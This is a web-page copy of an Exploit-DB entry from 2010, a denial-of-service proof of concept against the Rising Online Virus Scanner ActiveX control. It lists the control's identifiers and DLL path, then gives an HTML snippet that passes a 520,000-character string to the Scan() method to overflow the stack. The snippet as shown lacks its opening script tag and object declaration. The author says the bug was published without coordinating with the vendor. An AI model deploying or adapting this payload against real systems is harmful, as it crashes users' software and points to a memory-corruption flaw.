Rising Online Virus Scanner 22.0.0.5 – ActiveX Control Stack Overflow (Denial of Service) - 体验盒子

作者： wirebonder

日期： 2010-02-18

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/11492/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

# Exploit Title: Rising Online Virus Scanner ActiveX Control DoS (Stack overflow)

# Author: wirebonder

# Software Link: http://www.rising-global.com/products/online-scanner-intro.html

# Tested on: Windows XP sp3

##

# ProgID: RavOLCtlLib.RavOnline

# ClassID: 9FAFB576-6933-4CCC-AB3D-B988EC43D04E

# Member: Scan()

# File: C:\Programme\Rising\RavOL\RavOLCtl.dll

# script safe: true

# init safe: true

#

# Because Bullshit like this is unsaleable and i don't want to waste time

# coordinating patches with this vendor this is a fulldisc publishing.

##

<html>

<body>

buf=String(520000, "A")

obj.Scan buf

</script>

</body>

</html>